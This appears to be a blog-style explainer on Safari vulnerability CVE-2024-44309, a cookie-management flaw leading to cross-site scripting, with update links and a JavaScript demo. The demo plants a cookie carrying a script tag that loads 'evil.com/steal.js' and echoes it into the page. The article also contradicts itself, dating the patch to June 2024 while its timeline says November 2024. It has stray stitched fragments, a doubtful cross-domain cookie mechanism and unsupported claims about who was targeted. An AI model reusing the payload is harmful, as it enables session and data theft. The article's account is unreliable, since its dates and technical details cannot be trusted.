In June 2024, Apple quietly patched an alarming vulnerability, tracked as CVE-2024-44309, that was being actively used by attackers to break Safari security on some Macs. The bug involved a cookie management issue that could let bad actors inject malicious scripts into your web sessions—creating a serious risk of cross site scripting attacks (XSS). If you've read the official notices, they’re brief and technical. Let’s break down what actually happened with CVE-2024-44309, how it could be exploited, examine code samples, and see why Apple rushed to fix it across all platforms.

What is CVE-2024-44309?

At its core, CVE-2024-44309 is about how Safari manages your browser cookies—those small text files that store your login credentials, session info, and other web preferences. A bug in this process made it possible for attackers to smuggle in hostile scripts that could run within your session, steal data, or hijack your browsing.

visionOS 2.1.1

Notably, Apple said:
> "Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems."

This means hackers were not waiting—they were already using this bug in the wild as a *zero-day*.

How Did the Exploit Work?

Apple hasn’t published the exact technical breakdown, but from the clues and security community chatter, here’s how the vulnerability could be exploited in the wild:

The malicious page crafts a response or resource that leverages the cookie management flaw—effectively tricking Safari into accepting or setting a cookie value it shouldn’t.

Malicious Script Injection

Thanks to the faulty state management, the script gets injected into a session and can run as if it originated from a trusted site (cross site scripting).

Stealth

Because it’s manipulating cookies, there’s little obvious trace for a regular user—making detection tough.

*Note*: The actual in-the-wild exploit used browser-specific internals, but here’s a simplified demonstration of the kind of attack possible:

// Step 1: Attacker sets a malicious cookie for a trusted domain
document.cookie = "session_id=<script src='//evil.com/steal.js'></script>; domain=trustedsite.com; path=/";

// Step 2: Later, when you visit trustedsite.com
// If the browser mishandles state, the script tag in the cookie could be rendered

// Step 3: On the trusted site, the XSS payload activates
// If a vulnerable page echoes the session_id cookie:
var session = getCookie("session_id"); // returns the entire string, including malicious script
document.body.innerHTML += session; // outputs HTML, causing XSS

Of course, modern browsers will usually sanitize cookies. CVE-2024-44309 existed because Safari’s older cookie management failed certain edge-case checks, letting the attacker slip XSS payloads via cookies that shouldn’t have been allowed.

Safari 18.1.1 (June 2024)

- iOS/iPadOS 17.7.2 and 18.1.1

visionOS 2.1.1

Update ASAP if you haven’t! Especially if you’re using an Intel-based Mac (the main target, according to Apple’s notes).

Apple’s Security Updates:

- Apple Security Update — Safari 18.1.1
- Apple Security Update — iOS & iPadOS 17.7.2
- macOS Sequoia 15.1.1 Update

NVD Official CVE Entry:

- NVD - CVE-2024-44309

Security Community Discussion:

- The Apple Security Mailing List

Why Was This So Dangerous?

- Cross Site Scripting is one of the most critical types of web vulnerabilities (see OWASP XSS)

- Real-world attacks were already happening before the patch landed—especially targeting business users on Intel Macs

Conclusion

CVE-2024-44309 is a powerful reminder: even trusted browsers can hide sneaky bugs in how your most sensitive data is handled. In this case, cookie management was the weak link, giving hackers an opening for major cross site scripting attacks. Apple reacted fast—but only after reports of real-world exploitation surfaced.

For any web user on Apple platforms—especially on Intel Macs—it’s urgent to update now. If you want more in-depth details as researchers unearth the full attack chain, monitor Apple’s official security updates or follow the Apple Security Mailing List.

Timeline

Published on: 11/20/2024 00:15:17 UTC
Last modified on: 11/29/2024 18:28:16 UTC